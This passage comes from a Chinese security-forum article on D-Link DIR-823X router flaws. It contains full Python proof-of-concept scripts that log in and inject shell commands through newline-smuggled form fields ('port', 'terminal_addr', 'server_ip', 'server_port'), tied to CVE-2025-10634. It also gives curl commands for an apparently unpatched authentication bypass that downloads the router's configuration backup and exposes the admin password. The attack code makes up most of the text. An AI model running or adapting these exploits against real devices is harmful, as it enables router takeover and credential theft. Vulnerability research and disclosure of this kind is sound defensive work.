"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
# "Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"port": ""\nls\n"",
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def main():
session = requests.session()
parser = argparse.ArgumentParser(description='HTTP POST Request Example.')
parser.add_argument('-H', '--host', metavar='host', default='192.168.1.1', help='Host IP address.')
parser.add_argument('-u', '--username', metavar='Username', required=True, help='Login username.')
parser.add_argument('-p', '--password', metavar='Password', required=True, help='Login password.')
args = parser.parse_args()
logging.info(f'Host IP: {args.host}')
# Get login page
sessionid, token = send_get_login_page(session, args.host)
if sessionid and token:
logging.info(f"GET login page request sent successfully. sessionid={sessionid}, token={token}")
# Hash the password
hashed_password = hash_password(args.password, token)
# Send login request
response = send_login_request(session, args.host, args.username, hashed_password, sessionid, token)
if response.status_code == 200:
logging.info("Login request sent successfully.")
logging.debug(f"Response: {response.text}")
# Extract updated sessionid and token from login response
sessionid, token = extract_cookies_from_response(response)
# Send LAN settings request
response = send_diag_traceroute_request(session, args.host, sessionid, token)
if response.status_code == 200:
logging.info("LAN settings request sent successfully.")
logging.debug(f"Response: {response.text}")
else:
logging.error("Failed to send LAN settings request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to send login request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to retrieve sessionid and token from login page.")
if __name__ == "__main__":
main()
CVE-2025-10634
漏洞描述
D-Link DIR-823X存在命令注入漏洞,该漏洞源于对文件/usr/sbin/goahead中参数terminal_addr/server_ip/server_port的错误操作,攻击者可利用该漏洞导致任意命令执行。
POC
import requests
import logging
import argparse
import re
import hmac
import hashlib
logging.basicConfig(level=logging.DEBUG)
def extract_cookies_from_response(response):
cookies = response.headers.get('Set-Cookie', '')
sessionid = re.search(r'sessionid=([^;]+)', cookies)
token = re.search(r'token=([^;]+)', cookies)
sessionid = sessionid.group(1) if sessionid else None
token = token.group(1) if token else None
return sessionid, token
def send_get_login_page(session, host_ip):
url = f"http://{host_ip}/login.html"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
response = session.get(url, headers=headers)
if response.status_code == 200:
sessionid, token = extract_cookies_from_response(response)
return sessionid, token
else:
logging.error("Failed to get login page.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
return None, None
def hash_password(password, token):
hashed = hmac.new(token.encode(), password.encode(), hashlib.sha256).hexdigest()
return hashed
def send_login_request(session, host_ip, username, hashed_password, sessionid, token):
url = f"http://{host_ip}/goform/login"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
# "Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"username": username,
"password": hashed_password,
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def send_diag_traceroute_request(session, host_ip, sessionid, token):
url = f"http://{host_ip}/goform/set_server_settings"
headers = {
"Host": host_ip,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{host_ip}",
"Connection": "close",
# "Referer": f"http://{host_ip}/login.html",
"Cookie": f"sessionid={sessionid}; token={token}"
}
payload = {
"terminal_addr": ""\ntouch 1.txt\n"",
"server_ip": ""\ntouch 2.txt\n"",
"server_port": ""\ntouch 3.txt\n"",
"token": token
}
response = session.post(url, headers=headers, data=payload)
return response
def main():
session = requests.session()
parser = argparse.ArgumentParser(description='HTTP POST Request Example.')
parser.add_argument('-H', '--host', metavar='host', default='192.168.1.1', help='Host IP address.')
parser.add_argument('-u', '--username', metavar='Username', required=True, help='Login username.')
parser.add_argument('-p', '--password', metavar='Password', required=True, help='Login password.')
args = parser.parse_args()
logging.info(f'Host IP: {args.host}')
# Get login page
sessionid, token = send_get_login_page(session, args.host)
if sessionid and token:
logging.info(f"GET login page request sent successfully. sessionid={sessionid}, token={token}")
# Hash the password
hashed_password = hash_password(args.password, token)
# Send login request
response = send_login_request(session, args.host, args.username, hashed_password, sessionid, token)
if response.status_code == 200:
logging.info("Login request sent successfully.")
logging.debug(f"Response: {response.text}")
# Extract updated sessionid and token from login response
sessionid, token = extract_cookies_from_response(response)
# Send LAN settings request
response = send_diag_traceroute_request(session, args.host, sessionid, token)
if response.status_code == 200:
logging.info("LAN settings request sent successfully.")
logging.debug(f"Response: {response.text}")
else:
logging.error("Failed to send LAN settings request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to send login request.")
logging.error(f"Status code: {response.status_code}")
logging.error(f"Response: {response.text}")
else:
logging.error("Failed to retrieve sessionid and token from login page.")
if __name__ == "__main__":
main()
0DAY漏洞
漏洞描述
在访问/cgi-bin/backup_settings.sh时存在权限绕过漏洞,可以下载路由器的配置信息文件。
cat backup_settings.sh
#!/bin/sh
curTime=`date "+%Y%m%d%H%M%S"`
echo "Pragma: no-cache\n"
echo "Cache-control: no-cache\n"
echo "Content-type: application/x-targz"
echo "Content-Disposition: attachment; filename="backup_${curTime}.tar.gz""
echo ""
/sbin/sysupgrade -b - 2>/dev/null
/sbin/sysupgrade
-b | --create-backup <file>
create .tar.gz of files specified in sysupgrade.conf
then exit. Does not flash an image. If file is '-',
i.e. stdout, verbosity is set to 0 (i.e. quiet).
POC
curl -c cookiec.txt http://172.26.128.17:20080/login.html
curl -b cookiec.txt http://172.26.128.17:20080/cgi-bin/backup_settings.sh -o backup.tar.gz
tar -zxvf backup.tar.gz
cat etc/config/goahead
config webuser
option group 'adm'
option username 'admin'
option password 'KCTFPASS'
#
看雪ID:易之生生
https://bbs.kanxue.com/user-home-920134.htm
*本文为看雪论坛优秀文章,由 易之生生 原创,转载请注明来自看雪社区
往期推荐
球分享
球点赞
球在看
点击阅读原文查看更多
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:看雪学苑 易之生生《DLINK路由器命令注入漏洞从1DAY到0DAY》